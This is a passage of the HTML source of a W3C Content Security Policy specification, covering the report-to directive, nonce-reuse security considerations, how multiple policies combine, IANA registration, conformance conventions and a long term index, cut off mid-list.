href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">RWS</a> <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-4.1\">uri-reference</a> )\n\n; The <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-4.1\">uri-reference</a> grammar is defined in Section 4.1 of RFC 3986.\n</pre>\n    <p>The directive has no effect in and of itself, but only gains meaning in\n  combination with other directives.</p>\n    <h4 class=\"heading settled\" data-level=\"6.2.2\" id=\"directive-report-to\"><span class=\"secno\">6.2.2. </span><span class=\"content\"><code>report-to</code></span><a class=\"self-link\" href=\"#directive-report-to\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report-to\"><code>report-to</code><a class=\"self-link\" href=\"#report-to\"></a></dfn> directive defines a <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/error-reporting/#group\">reporting\n  group</a> to which violation reports ought to be sent <a data-link-type=\"biblio\" href=\"#biblio-oob-reporting\">[OOB-REPORTING]</a>. The\n  directive’s behavior is defined in <a href=\"#report-violation\">§5.3 Report a violation</a>. The directive’s name\n  and value are described by the following ABNF:</p>\n<pre>directive-name  = \"report-to\"\ndirective-value = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.6\">token</a>\n</pre>\n    <h3 class=\"heading settled\" data-level=\"6.3\" id=\"directives-elsewhere\"><span class=\"secno\">6.3. </span><span class=\"content\"> Directives Defined in Other Documents </span><a class=\"self-link\" href=\"#directives-elsewhere\"></a></h3>\n    <p>This document defines a core set of directives, and sets up a framework for\n  modular extension by other specifications. At the time this document was\n  produced, the following stable documents extend CSP:</p>\n    <ul>\n     <li data-md=\"\">\n      <p><a data-link-type=\"biblio\" href=\"#biblio-mix\">[MIX]</a> defines <code>block-all-mixed-content</code></p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"biblio\" href=\"#biblio-upgrade-insecure-requests\">[UPGRADE-INSECURE-REQUESTS]</a> defines <code>upgrade-insecure-requests</code></p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"biblio\" href=\"#biblio-csp-document\">[CSP-DOCUMENT]</a> defines <code>base-uri</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, and <code>sandbox</code>.</p>\n    </ul>\n    <p>Extensions to CSP MUST register themselves via the process outlined in <a href=\"https://tools.ietf.org/html/draft-west-webappsec-csp-reg\">draft-west-webappsec-csp-reg</a>.\n  In particular, note the criteria discussed in Section 3.2 of that document.</p>\n    <p>New directives SHOULD use the <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a>, <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a>, <a data-link-type=\"dfn\" href=\"#directive-response-check\">response\n  check</a>, and <a data-link-type=\"dfn\" href=\"#directive-initialization\">initialization</a> hooks in order to\n  integrate themselves into Fetch and HTML.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"7\" id=\"security-considerations\"><span class=\"secno\">7. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"7.1\" id=\"security-nonces\"><span class=\"secno\">7.1. </span><span class=\"content\">Nonce Reuse</span><a class=\"self-link\" href=\"#security-nonces\"></a></h3>\n    <p>Nonces override the other restrictions present in the directive in which\n  they’re delivered. It is critical, then, that they remain unguessable, as\n  bypassing a resource’s policy is otherwise trivial.</p>\n    <p>If a server delivers a <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\">nonce-source</a> expression as part of a <a data-link-type=\"dfn\" href=\"#policy\">policy</a>, the server MUST generate a unique value each time it\n  transmits a policy. The generated value SHOULD be at least 128 bits long\n  (before encoding), and SHOULD be generated via a cryptographically secure\n  random number generator in order to ensure that the value is difficult for\n  an attacker to predict.</p>\n    <p class=\"note\" role=\"note\">Note: Using a nonce to whitelist inline script or style is less secure than\n  not using a nonce, as nonces override the restrictions in the directive in\n  which they are present. An attacker who can gain access to the nonce can\n  execute whatever script they like, whenever they like. That said, nonces\n  provide a substantial improvement over <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\">'unsafe-inline'</a> when\n  layering a content security policy on top of old code. When considering <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\">'unsafe-inline'</a>, authors are encouraged to consider nonces\n  (or hashes) instead.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"8\" id=\"authoring-considerations\"><span class=\"secno\">8. </span><span class=\"content\">Authoring Considerations</span><a class=\"self-link\" href=\"#authoring-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"8.1\" id=\"multiple-policies\"><span class=\"secno\">8.1. </span><span class=\"content\"> The effect of multiple policies </span><a class=\"self-link\" href=\"#multiple-policies\"></a></h3>\n    <p><em>This section is not normative.</em></p>\n    <p>The above sections note that when multiple policies are present, each must be\n  enforced or reported, according to its type. An example will help clarify how\n  that ought to work in practice. The behavior of an <code>XMLHttpRequest</code> might seem unclear given a site that, for whatever reason, delivered the\n  following HTTP headers:</p>\n    <div class=\"example\" id=\"example-ef0bfc7a\">\n     <a class=\"self-link\" href=\"#example-ef0bfc7a\"></a> \n<pre>Content-Security-Policy: default-src 'self' http://example.com http://example.net;\n                         connect-src 'none';\nContent-Security-Policy: connect-src http://example.com/;\n                         script-src http://example.com/\n</pre>\n    </div>\n    <p>Is a connection to example.com allowed or not? The short answer is that the\n  connection is not allowed. Enforcing both policies means that a potential\n  connection would have to pass through both unscathed. Even though the second\n  policy would allow this connection, the first policy contains <code>connect-src 'none'</code>, so its enforcement blocks the connection. The\n  impact is that adding additional policies to the list of policies to enforce\n  can <em>only</em> further restrict the capabilities of the protected resource.</p>\n    <p>To demonstrate that further, consider a script tag on this page. The first\n  policy would lock scripts down to <code>'self'</code>, <code>http://example.com</code> and <code>http://example.net</code> via the <code>default-src</code> directive. The second, however,\n  would only allow script from <code>http://example.com/</code>. Script will only load if\n  it meets both policy’s criteria: in this case, the only origin that can match\n  is <code>http://example.com</code>, as both policies allow it.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"9\" id=\"implementation-considerations\"><span class=\"secno\">9. </span><span class=\"content\">Implementation Considerations</span><a class=\"self-link\" href=\"#implementation-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"9.1\" id=\"extensions\"><span class=\"secno\">9.1. </span><span class=\"content\">Vendor-specific Extensions and Addons</span><a class=\"self-link\" href=\"#extensions\"></a></h3>\n    <p><a data-link-type=\"dfn\" href=\"#policy\">Policy</a> enforced on a resource SHOULD NOT interfere with the operation\n  of user-agent features like addons, extensions, or bookmarklets. These kinds\n  of features generally advance the user’s priority over page authors, as\n  espoused in <a data-link-type=\"biblio\" href=\"#biblio-html-design\">[HTML-DESIGN]</a>.</p>\n    <p>Moreover, applying CSP to these kinds of features produces a substantial\n  amount of noise in violation reports, significantly reducing their value to\n  developers.</p>\n    <p>Chrome, for example, excludes the <code>chrome-extension:</code> scheme from CSP checks,\n  and does some work to ensure that extension-driven injections are allowed,\n  regardless of a page’s policy.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"10\" id=\"iana-considerations\"><span class=\"secno\">10. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n    <p>The permanent message header field registry should be updated\n  with the following registration: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n    <h3 class=\"heading settled\" data-level=\"10.1\" id=\"iana-csp\"><span class=\"secno\">10.1. </span><span class=\"content\"> Content-Security-Policy </span><a class=\"self-link\" href=\"#iana-csp\"></a></h3>\n    <dl>\n     <dt>Header field name\n     <dd>Content-Security-Policy\n     <dt>Applicable protocol\n     <dd>http\n     <dt>Status\n     <dd>standard\n     <dt>Author/Change controller\n     <dd>W3C\n     <dt>Specification document\n     <dd>This specification (See <a href=\"#csp-header\">§3.1 The Content-Security-Policy HTTP Response Header Field</a>)\n    </dl>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"11\" id=\"acknowledgements\"><span class=\"secno\">11. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n    <p>Lots of people are awesome.</p>\n   </section>\n  </main>\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification. </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this: </p>\n  <div class=\"example\" id=\"example-f839f6c8\">\n   <a class=\"self-link\" href=\"#example-f839f6c8\"></a> \n   <p>This is an example of an informative example.</p>\n  </div>\n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this: </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a href=\"#grammardef-base64-value\">base64-value</a><span>, in §2.2.1</span>\n   <li>\n    blockedURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-blockeduri\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-blockeduri\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#child-src\">child-src</a><span>, in §6.1.1</span>\n   <li><a href=\"#violation-column-number\">column number</a><span>, in §2.3</span>\n   <li>\n    columnNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-columnnumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-columnnumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#connect-src\">connect-src</a><span>, in §6.1.2</span>\n   <li><a href=\"#content-security-policy\">Content-Security-Policy</a><span>, in §3.1</span>\n   <li><a href=\"#content-security-policy-report-only\">Content-Security-Policy-Report-Only</a><span>, in §3.2</span>\n   <li><a href=\"#global-object-csp-list\">CSP list</a><span>, in §4.2</span>\n   <li><a href=\"#default-src\">default-src</a><span>, in §6.1.3</span>\n   <li><a href=\"#grammardef-directive-name\">directive-name</a><span>, in §2.2</span>\n   <li><a href=\"#directives\">directives</a><span>, in §2.2</span>\n   <li><a href=\"#policy-directive-set\">directive set</a><span>, in §2.1</span>\n   <li><a href=\"#grammardef-directive-value\">directive-value</a><span>, in §2.2</span>\n   <li><a href=\"#policy-disposition\">disposition</a><span>, in §2.1</span>\n   <li>\n    documentURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-documenturi\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-documenturi\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li>\n    effectiveDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-effectivedirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li>\n    effective directive\n    <ul>\n     <li><a href=\"#violation-effective-directive\">dfn for violation</a><span>, in §2.3</span>\n     <li><a href=\"#request-effective-directive\">dfn for request</a><span>, in §6.1.11.4</span>\n    </ul>\n   <li><a href=\"#embedding-document\">embedding document</a><span>, in §4.2</span>\n   <li><a href=\"#enforced\">enforced</a><span>, in §4.2</span>\n   <li><a href=\"#fetch-directives\">Fetch directives</a><span>, in §6.1</span>\n   <li><a href=\"#font-src\">font-src</a><span>, in §6.1.4</span>\n   <li><a href=\"#violation-global-object\">global object</a><span>, in §2.3</span>\n   <li><a href=\"#grammardef-hash-algorithm\">hash-algorithm</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-hash-source\">hash-source</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-host-char\">host-char</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-host-part\">host-part</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-host-source\">host-source</a><span>, in §2.2.1</span>\n   <li><a href=\"#img-src\">img-src</a><span>, in §6.1.5</span>\n   <li><a href=\"#directive-initialization\">initialization</a><span>, in §2.2</span>\n   <li><a href=\"#directive-inline-check\">inline check</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-keyword-source\">keyword-source</a><span>, in §2.2.1</span>\n   <li><a href=\"#violation-line-number\">line number</a><span>, in §2.3</span>\n   <li>\n    lineNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-linenumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-linenumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#manifest-src\">manifest-src</a><span>, in §6.1.6</span>\n   <li><a href=\"#matches-a-source-list\">matches a source list</a><span>, in §2.2.1</span>\n   <li><a href=\"#media-src\">media-src</a><span>, in §6.1.7</span>\n   <li><a href=\"#monitored\">monitored</a><span>, in §4.2</span>\n   <li><a href=\"#directive-name\">name</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-nonce-source\">nonce-source</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-none\">'none'</a><span>, in §2.2.1</span>\n   <li><a href=\"#object-src\">object-src</a><span>, in §6.1.8</span>\n   <li>\n    originalPolicy\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-originalpolicy\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#parse-serialized-policy\">parse a serialized CSP</a><span>, in §2.1</span>\n   <li><a href=\"#grammardef-path-part\">path-part</a><span>, in §2.2.1</span>\n   <li><a href=\"#policy\">policies</a><span>, in §2.1</span>\n   <li>\n    policy\n    <ul>\n     <li><a href=\"#policy\">definition of</a><span>, in §2.1</span>\n     <li><a href=\"#violation-policy\">dfn for violation</a><span>, in §2.3</span>\n    </ul>\n   <li><a href=\"#grammardef-port-part\">port-part</a><span>, in §2.2.1</span>\n   <li><a href=\"#directive-post-request-check\">post-request check</a><span>, in §2.2</span>\n   <li><a href=\"#directive-pre-request-check\">pre-request check</a><span>, in §2.2</span>\n   <li>\n    referrer\n    <ul>\n     <li><a href=\"#violation-referrer\">dfn for violation</a><span>, in §2.3</span>\n     <li><a href=\"#dom-securitypolicyviolationevent-referrer\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-referrer\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#report-to\">report-to</a><span>, in §6.2.2</span>\n   <li><a href=\"#report-uri\">report-uri</a><span>, in §6.2.1</span>\n   <li><a href=\"#violation-resource\">resource</a><span>, in §2.3</span>\n   <li><a href=\"#directive-response-check\">response check</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-scheme-part\">scheme-part</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-scheme-source\">scheme-source</a><span>, in §2.2.1</span>\n   <li><a href=\"#script-src\">script-src</a><span>, in §6.1.9</span>\n   <li><a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a><span>, in §5.3</span>\n   <li><a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">SecurityPolicyViolationEvent(type, eventInitDict)</a><span>, in §5.1</span>\n   <li><a href=\"#grammardef-self\">'self'</a><span>, in §2.2.1</span>\n   <li><a href=\"#serialized-csp\">serialized CSP</a><span>, in §2.1</span>\n   <li><a href=\"#grammardef-serialized-directive\">serialized-directive</a><span>, in §2.2</span>\n   <li><a href=\"#serialized-directive\">serialized directive</a><span>, in §2.2</span>\n   <li><a href=\"#grammardef-serialized-policy\">serialized-policy</a><span>, in §2.1</span>\n   <li><a href=\"#serialized-source-list\">serialized source list</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-serialized-source-list\">serialized-source-list</a><span>, in §2.2.1</span>\n   <li><a href=\"#source-expression\">source\n  expression</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-source-expression\">source-expression</a><span>, in §2.2.1</span>\n   <li><a href=\"#violation-source-file\">source file</a><span>, in §2.3</span>\n   <li>\n    sourceFile\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-sourcefile\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-sourcefile\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#source-lists\">source lists</a><span>, in §2.2.1</span>\n   <li><a href=\"#violation-status\">status</a><span>, in §2.3</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a><span>, in §5.1</span>\n   <li><a href=\"#style-src\">style-src</a><span>, in §6.1.10</span>\n   <li><a href=\"#grammardef-unsafe-eval\">'unsafe-eval'</a><span>, in §2.2.1</span>\n   <li><a href=\"#grammardef-unsafe-inline\">'unsafe-inline'</a><span>, in §2.2.1</span>\n   <li><a href=\"#violation-url\">url</a><span>, in §2.3</span>\n   <li><a href=\"#directive-value\">value</a><span>, in §2.2</span>\n   <li>\n    violatedDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-violateddirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §5.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-violateddirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §5.1</span>\n    </ul>\n   <li><a href=\"#violation\">violation</a><span>, in §2.3</span>\n   <li><a href=\"#violation-report\">violation\n  report</a><span>, in §5</span>\n  </ul>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"indexlist\">\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[cssom]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/cssom/#insert-a-css-rule\">insert a css rule</a>\n     <li><a href=\"http://www.w3.org/TR/cssom/#parse-a-css-declaration-block\">parse a css declaration block</a>\n     <li><a href=\"http://www.w3.org/TR/cssom/#parse-a-css-rule\">parse a css rule</a>\n     <li><a href=\"http://www.w3.org/TR/cssom/#parse-a-group-of-selectors\">parse a group of selectors</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-dom\">[dom]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/dom/#interface-element\">Element</a>\n     <li><a href=\"http://www.w3.org/TR/dom/#dom-node-textcontent\">textContent</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-es2015\">[ES2015]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-function-objects\">Function()</a>\n     <li><a href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-json.stringify\">JSON.stringify()</a>\n     <li><a href=\"http://www.ecma-international.org/ecma-262/6.0/index.html#sec-eval-x\">eval()</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-body\">body</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-cache-mode\">cache mode</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-credentials-mode\">credentials mode</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">csp list</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-current-url\">current url</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-fetch\">fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-global-object\">global object</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#http-fetch\">http fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#http-network-fetch\">http-network fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#main-fetch\">main fetch</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-method\">method</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-network-error\">network error</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-origin\">origin</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parse a header value</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-mode\">redirect mode</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\">target browsing context</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a>\n     <li><a href=\"https://fetch.spec.whatwg.org/#concept-request-window\">window</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-html\">[HTML]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://html.spec.whatwg.org/#attr-meta-http-equiv-content-security-policy\">content-security-policy http-equiv processing instructions</a>\n     <li><a href=\"https://html.spec.whatwg.org/#initialising-a-new-document-object\">initialising a new document object</a>\n     <li><a href=\"https://html.spec.whatwg.org/#attr-script-nonce\">nonce</a>\n     <li><a href=\"https://html.spec.whatwg.org/#ping\">ping</a>\n     <li><a href=\"https://html.spec.whatwg.org/#run-a-worker\">run a worker</a>\n     <li><a href=\"https://html.spec.whatwg.org/#the-workers-documents\">the worker's documents</a>\n     <li><a href=\"https://html.spec.whatwg.org/#update-a-style-block\">update a style block</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-html5\">[html5]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#dom-window\">Window</a>\n     <li><a href=\"http://www.w3.org/TR/html5/text-level-semantics.html#the-a-element\">a</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a>\n     <li><a href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an iframe srcdoc document</a>\n     <li><a href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ascii case-insensitive match</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#browsing-context\">browsing context</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#case-sensitive\">case-sensitive</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">collect a sequence of characters</a>\n     <li><a href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a>\n     <li><a href=\"http://www.w3.org/TR/html5/dom.html#concept-document-csp-list\">csp list</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#dom-document-2\">document</a>\n     <li><a href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire\">fire</a>\n     <li><a href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a>\n     <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>\n     <li><a href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a>\n     <li><a href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a>\n     <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#incumbent-settings-object\">incumbent settings object</a>\n     <li><a href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a>\n     <li><a href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#browsing-context-nested-through\">nested through</a>\n     <li><a href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a>\n     <li><a href=\"http://www.w3.org/TR/html5/browsers.html#opener-browsing-context\">opener browsing context</a>\n     <li><a href=\"http://www.w3.org/TR/html5/scripting-1.html#prepare-a-script\">prepare a script</a>\n     <li><a href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a>\n     <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#relevant-settings-object-for-a-global-object\">relevant settings object</a>\n     <li><a href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#space-characters\">space characters</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-commas\">split a string on commas</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">split a string on spaces</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly split a string</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">strip leading and trailing whitespace</a>\n     <li><a href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a>\n     <li><a href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block&apos;s-source\">the script block's source</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-trusted\">trusted</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-oob-reporting\">[OOB-REPORTING]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://mikewest.github.io/error-reporting/#group\">group</a>\n     <li><a href=\"https://mikewest.github.io/error-reporting/#queue-report\">queue report</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[rfc3986]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">ipv4address</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">path</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">scheme</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc3986#section-4.1\">uri-reference</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc4648\">[rfc4648]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64 encoding</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[rfc5234]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">alpha</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">digit</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">vchar</a>\n    </ul>\n   <li>\n    